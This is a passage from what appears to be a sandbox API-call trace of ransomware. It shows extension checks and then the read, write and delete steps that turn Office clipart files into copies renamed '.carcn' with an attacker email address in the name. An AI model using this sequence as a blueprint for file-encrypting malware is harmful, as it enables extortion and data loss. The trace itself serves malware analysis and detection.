68 [0295.909] lstrlenW (lpString=".doc") returned 4 [0295.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.909] lstrlenW (lpString=".docx") returned 5 [0295.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.909] lstrlenW (lpString=".pdf") returned 4 [0295.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.909] lstrlenW (lpString=".xls") returned 4 [0295.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.909] lstrlenW (lpString=".xlsx") returned 5 [0295.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.909] lstrlenW (lpString=".ppt") returned 4 [0295.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.909] lstrlenW (lpString=".zip") returned 4 [0295.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.909] lstrlenW (lpString=".rar") returned 4 [0295.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.909] lstrlenW (lpString=".bz2") returned 4 [0295.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.909] lstrlenW (lpString=".7z") returned 3 [0295.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString=".dbf") returned 4 [0295.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString=".1cd") returned 4 [0295.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString=".jpg") returned 4 [0295.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString=".doc") returned 4 [0295.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString=".docx") returned 5 [0295.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.910] lstrlenW (lpString=".pdf") returned 4 [0295.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString=".xls") returned 4 [0295.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.910] lstrlenW (lpString=".xlsx") returned 5 [0295.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.910] lstrlenW (lpString=".ppt") returned 4 [0295.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.910] lstrlenW (lpString=".zip") returned 4 [0295.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.910] lstrlenW (lpString=".rar") returned 4 [0295.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.910] lstrlenW (lpString=".bz2") returned 4 [0295.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.911] lstrlenW (lpString=".7z") returned 3 [0295.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.911] lstrlenW (lpString=".dbf") returned 4 [0295.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.911] lstrlenW (lpString=".1cd") returned 4 [0295.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.911] lstrlenW (lpString=".jpg") returned 4 [0295.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.911] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.911] lstrlenW (lpString="BD09031_.WMF") returned 12 [0295.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.912] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=47786) returned 1 [0295.912] CloseHandle (hObject=0x350) returned 1 [0295.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0295.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.912] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.912] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.913] GetLastError () returned 0x0 [0295.913] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0295.915] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xbab0, lpOverlapped=0x0) returned 1 [0295.917] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.918] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.918] SetEndOfFile (hFile=0x34c) returned 1 [0295.918] CloseHandle (hObject=0x34c) returned 1 [0295.918] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.918] SetEndOfFile (hFile=0x350) returned 1 [0295.919] CloseHandle (hObject=0x350) returned 1 [0295.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString=".doc") returned 4 [0295.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString=".docx") returned 5 [0295.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.921] lstrlenW (lpString=".pdf") returned 4 [0295.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString=".xls") returned 4 [0295.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.921] lstrlenW (lpString=".xlsx") returned 5 [0295.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.921] lstrlenW (lpString=".ppt") returned 4 [0295.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString=".zip") returned 4 [0295.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.921] lstrlenW (lpString=".rar") returned 4 [0295.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString=".bz2") returned 4 [0295.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString=".7z") returned 3 [0295.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString=".dbf") returned 4 [0295.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString=".1cd") returned 4 [0295.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.921] lstrlenW (lpString=".jpg") returned 4 [0295.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.922] lstrlenW (lpString=".doc") returned 4 [0295.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString=".docx") returned 5 [0295.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.922] lstrlenW (lpString=".pdf") returned 4 [0295.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString=".xls") returned 4 [0295.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.922] lstrlenW (lpString=".xlsx") returned 5 [0295.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.922] lstrlenW (lpString=".ppt") returned 4 [0295.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.922] lstrlenW (lpString=".zip") returned 4 [0295.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.922] lstrlenW (lpString=".rar") returned 4 [0295.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString=".bz2") returned 4 [0295.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString=".7z") returned 3 [0295.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.922] lstrlenW (lpString=".dbf") returned 4 [0295.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.923] lstrlenW (lpString=".1cd") returned 4 [0295.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0295.923] lstrlenW (lpString=".jpg") returned 4 [0295.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.923] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.923] lstrlenW (lpString="BD09194_.WMF") returned 12 [0295.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.923] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=14540) returned 1 [0295.924] CloseHandle (hObject=0x350) returned 1 [0295.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0295.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.924] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.924] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.925] GetLastError () returned 0x0 [0295.925] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x38cc, lpOverlapped=0x0) returned 1 [0295.927] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x38d0, lpOverlapped=0x0) returned 1 [0295.928] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.929] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.929] SetEndOfFile (hFile=0x34c) returned 1 [0295.929] CloseHandle (hObject=0x34c) returned 1 [0295.929] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.929] SetEndOfFile (hFile=0x350) returned 1 [0295.930] CloseHandle (hObject=0x350) returned 1 [0295.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0295.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.932] lstrlenW (lpString=".doc") returned 4 [0295.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.932] lstrlenW (lpString=".docx") returned 5 [0295.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.932] lstrlenW (lpString=".pdf") returned 4 [0295.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.932] lstrlenW (lpString=".xls") returned 4 [0295.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.932] lstrlenW (lpString=".xlsx") returned 5 [0295.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.932] lstrlenW (lpString=".ppt") returned 4 [0295.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.932] lstrlenW (lpString=".zip") returned 4 [0295.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.932] lstrlenW (lpString=".rar") returned 4 [0295.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.932] lstrlenW (lpString=".bz2") returned 4 [0295.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.932] lstrlenW (lpString=".7z") returned 3 [0295.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString=".dbf") returned 4 [0295.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString=".1cd") returned 4 [0295.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString=".jpg") returned 4 [0295.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString=".doc") returned 4 [0295.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString=".docx") returned 5 [0295.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.933] lstrlenW (lpString=".pdf") returned 4 [0295.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString=".xls") returned 4 [0295.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.933] lstrlenW (lpString=".xlsx") returned 5 [0295.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.933] lstrlenW (lpString=".ppt") returned 4 [0295.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.933] lstrlenW (lpString=".zip") returned 4 [0295.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.933] lstrlenW (lpString=".rar") returned 4 [0295.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.934] lstrlenW (lpString=".bz2") returned 4 [0295.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.934] lstrlenW (lpString=".7z") returned 3 [0295.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.934] lstrlenW (lpString=".dbf") returned 4 [0295.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.934] lstrlenW (lpString=".1cd") returned 4 [0295.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0295.934] lstrlenW (lpString=".jpg") returned 4 [0295.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.934] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.934] lstrlenW (lpString="BD09662_.WMF") returned 12 [0295.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.935] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20554) returned 1 [0295.935] CloseHandle (hObject=0x350) returned 1 [0295.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0295.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.936] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.936] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.937] GetLastError () returned 0x0 [0295.937] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x504a, lpOverlapped=0x0) returned 1 [0296.373] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x5050, lpOverlapped=0x0) returned 1 [0296.375] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.375] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.375] SetEndOfFile (hFile=0x34c) returned 1 [0296.375] CloseHandle (hObject=0x34c) returned 1 [0296.375] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.375] SetEndOfFile (hFile=0x350) returned 1 [0296.376] CloseHandle (hObject=0x350) returned 1 [0296.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0296.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0296.378] lstrlenW (lpString=".doc") returned 4 [0296.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString=".docx") returned 5 [0296.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.378] lstrlenW (lpString=".pdf") returned 4 [0296.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.378] lstrlenW (lpString=".xls") returned 4 [0296.378] 